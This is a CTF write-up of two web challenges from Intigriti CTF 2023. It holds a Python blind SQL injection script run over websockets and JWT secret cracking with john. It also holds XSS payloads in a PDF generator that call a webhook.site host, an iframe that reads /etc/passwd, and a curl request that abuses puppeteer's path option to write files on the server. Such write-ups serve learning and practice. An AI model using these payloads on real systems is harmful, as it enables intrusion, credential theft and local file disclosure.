Home Intigriti CTF 2023 Writeup [WEB]
Post
Cancel

Intigriti CTF 2023 Writeup [WEB]

Link to archive challenges:

Category : Web

Web : Bug Report Repo

Browsing the web challenge, we will encounter with a page that show the “Bug Reports”. There is one visible search box that we can use to check the report status by using BUG ID

When we enter BUG ID == 1 we can see the page highligted the first row but where is the user Alice coming from? Probably its query something behind this.

How about if we try to insert single quote ' instead? We got an error? Is there SQL Injection involved in here?

Let’s try put a custom query to make it response with correct and wrong response.

Correct Response

1
1 OR 1=1

Wrong Response

1
1 AND 1=2

Since we know it involve SQL INJECTION, next step is to find where is the flag located? It was mentioned in the challenge’s description that it received a CRITICAL bug but it was not shown in the system. When we try to check on BUG ID == 11 we receive an unusual user in the response.

Probably we will get hints when we look into this user’s description. To do that we need exploit the SQL Injection and extract the description of bug id equal to 1. We can create an automation script to extract it. We also identified that its using WEBSOCKETS for the request.

Below are the full scripts to extract the description of BUGID == 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string, base64
from websockets.sync.client import connect

def sqli(ws,q_left,chars):	
    data = """{"id":"11 and (%s='%s')"}""" % (q_left, chars)
    ws.send(data)
    temp = ws.recv()
    return "Open" in temp

def exploit_websockets(TARGET):
    dumped = ""
    with connect(TARGET) as ws:
        sql_template = "SELECT substr(description, %s, 1)"
        i = 1
        while True:
            for chars in string.printable:
                if sqli(ws,sql_template%i,chars):
                    dumped += chars
                    print(dumped)
                    i+=1
                    break
        
if __name__ == "__main__":
    TARGET = "wss://bountyrepo.ctf.intigriti.io/ws"
    exploit_websockets(TARGET)

Extracted : crypt0:c4tz on /4dm1n_z0n3, really?

Browsing /4dm1n_z0n3 will get us into a secure admin login page.

Using the credentials we found will get us into this page. Sadly our user crypt0 don’t have the permission to view the config key.

When we look at the cookies, it looks like JWT and yes it is. It using alg == HS256

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I

By reading in the Hacktricks we probably need to crack the JWT and find the secret key? Let’s give it a try using jwtcrack

Algorithm HS256 : Uses the secret key to sign and verify each message

1
2
3
4
5
# jwt2john
./jwt2john.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I" > hash

# john
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Found : catsarethebest

Next, we can easily modify our JWT in here with the secret key we found.

And we get the flag!

Flag : INTIGRITI{w3b50ck37_5ql1_4nd_w34k_jw7}

Web : My Music

I didn’t managed to solve this challenge during the event but it’s a good practice to solve an unsolved challenge after the event. Thanks to all of the writeup from others CTF players!

We can see that there are Login and Register tabs at the top of the page

Let’s try register an account first.

We have login hash, update function and generate profile card which could help us to look for vulnerability in this page.

The login page only receive the login hash to login. A valid hash will lead us to the home page of the user, while invalid hash will give us an error. Nothing much I manage to find in this login page, so let’s move on to the update function.

Invalid Login Hash

The update function will send a PUT method to /api/user and there are three (3) parameters we can update in here.

The generate function will send a POST method to /profile/generate-profile-card and there is no parameter used and it needs the cookies login_hash

The PDF generator will have all the value of parameters username,firstname,lastname,spotifyTrackCode.

First thing come into my mind, is it a dynamic PDF generated? Will there be an injection related to server side? So mostly I referring in here while doing this challenge. So let’s try insert html injection in all the parameters that we can update and generate again the PDF.

1
2
3
{
    "firstName":"<h1>firstName</h1>","lastName":"<h1>lastName</h1>","spotifyTrackCode":"<h1>spotifyTrackCode</h1>"
}

Nice, atleast one parameter spotifyTrackCode vulnerable to HTML Injection. But is it just a normal HTML Injection? Let’s try insert one XSS that try request to our webhook.

1
<img src=x onerror=fetch('https://webhook.site/edf38419-6f01-4b60-aa0e-2428b2089bef') />

Nice we got a request!

So now we know that it involve with server side, let’s use simple payload to read local file such as /etc/passwd

1
<iframe src=file:///etc/passwd height=2000 width=800></iframe>

So I tried to read almost all of the source code that I could find listed below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/app/app.js 
/app/package.json
/app/routes/index.js 
/app/routes/api.js 
/app/views/register.handlebars
/app/services/user.js
/app/middleware/check_admin.js
/app/middleware/auth.js
/app/controllers/user.js
/app/utils/generateProfileCard.js
/app/views/print_profile.handlebars
/app/data/{hash}.json
/app/Dockerfile 
/etc/resolv.conf

To get the flag, we need to access /admin with JSON body which impossible for us to update through the web UI.

routes/index.js

1
2
3
router.get('/admin', isAdmin, (req, res) => {
    res.render('admin', { flag: process.env.FLAG || 'CTF{DUMMY}' })
})

middleware/check_admin.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const { getUser, userExists } = require('../services/user')
const isAdmin = (req, res, next) => {
let loginHash = req.cookies['login_hash']
let userData

if (loginHash && userExists(loginHash)) {
    userData = getUser(loginHash)
} else {
    return res.redirect('/login')
}
try {
    userData = JSON.parse(userData)
    if (userData.isAdmin !== true) {
        res.status(403)
        res.send('Only admins can view this page')
        return
    }
} catch (e) {
    console.log(e)
}
next()
}

module.exports = { isAdmin }

The function getUser(loginHas) will get us better understanding on what userData.isAdmin is checking.

services/user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const fs = require('fs')
const path = require('path')
const { createHash } = require('crypto')
const { v4: uuidv4 } = require('uuid')
const dataDir = './data'

// Register New User
// Write new data in  /app/data/<loginhash>.json
const createUser = (userData) => {
    const loginHash = createHash('sha256').update(uuidv4()).digest('hex')
        fs.writeFileSync(
            path.join(dataDir, `${loginHash}.json`),
            JSON.stringify(userData)
        )
    return loginHash
}

// Update User
// Update new data in  /app/data/<loginhash>.json
const setUserData = (loginHash, userData) => {
    if (!userExists(loginHash)) {
        throw 'Invalid login hash'
    }
    fs.writeFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        JSON.stringify(userData)
    )
    return userData
}

// Get User
// Read /app/data/<loginhash>.json
const getUser = (loginHash) => {
    let userData = fs.readFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        {
        encoding: 'utf8',
        }
    )
    return userData
}

// Check if UserExists
// Check if file /app/data/<loginhash>.json exists
const userExists = (loginHash) => {
    return fs.existsSync(path.join(dataDir, `${path.basename(loginHash)}.json`))
}

So getUser() will get us the JSON value of our user which will holds parameters such as username,firstname,lastname,spotifyTrackCode as shown inside the codes below and there is no isAdmin

controllers/user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
// Create User only accepts username, firstName, lastName
// There is no isAdmin available in here
const { username, firstName, lastName } = req.body
const userData = {
    username,
    firstName,
    lastName,
}
try {
    const loginHash = createUser(userData)
...
// Update user only accepts firstname, lastname, spotifyTrackCode
// Also there is no isAdmin available in here
const { firstName, lastName, spotifyTrackCode } = req.body
const userData = {
    username: req.userData.username,
    firstName,
    lastName,
    spotifyTrackCode,
}
try {
    setUserData(req.loginHash, userData)
...

One idea, that I had was to find a way to write the JSON payload with isAdmin into /app/data and use the cookies login_hash to load the .json file. Interestingly, inside the PDF generator function located in utils/generateProfileCard.js, there is a request body that we can send to add options into puppeteer pdf.

routes/index.js

1
2
3
4
5
6
// We can send userOptions in the body
router.post('/profile/generate-profile-card', requireAuth, async (req, res) => {
    const pdf = await generatePDF(req.userData, req.body.userOptions)
    res.contentType('application/pdf')
    res.send(pdf)
})

utils/generateProfileCard.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
const generatePDF = async (userData, userOptions) => {
    const browser = await puppeteer.launch({
        executablePath: '/usr/bin/google-chrome',
        args: ['--no-sandbox'],
    })
    const page = await browser.newPage()
    ...
    let options = {
    format: 'A5',
    }
    // Our userOptions will be use to generate the PDF
    if (userOptions) {
        options = { ...options, ...userOptions }
    }
    const pdf = await page.pdf(options)
    ...
}
...

Maybe this is the path for us to write the JSON with isAdmin? After reading the documentation in here, there is one options that we can use called path to output and save the file somewhere in locally.

Let’s try save the our PDF in /app/data/test.json, then try read the file by generate the PDF.

1
curl -k -X POST -H 'Content-Type: application/json' -b 'login_hash=f024b76b41f9dba21cf620484862e9b90465d8db09ea946fb04a0f6f3876103a' https://mymusic.ctf.intigriti.io/profile/generate-profile-card -d '{"userOptions":{"path":"/app/data/test.json"}}'

Nice! We could write something using this method.

Next step would be on how could we write the payload below somewhere in the server. We know that it will save as PDF not a JSON file in the content.

1
{'username':'a','firstName':'a','lastName':'b','spotifyTrackCode':'c','isAdmin':'true'}

What if we store this JSON in our webhook server and redirect it using XSS to reflect the content into the file? Let’s give it a try

1
<img src=x onerror=document.location='https://webhook.site/edf38419-6f01-4b60-aa0e-2428b2089bef'>

Let’s generate it and store it in /app/data/test.json. It still saved it as PDF format.

But let’s give it a try to load it in login_hash

Flag : INTIGRITI{0verr1d1ng_4nd_n0_r3turn_w4s_n3ed3d_for_th15_fl4g_to_b3_e4rn3d}

This post is licensed under CC BY 4.0 by the author.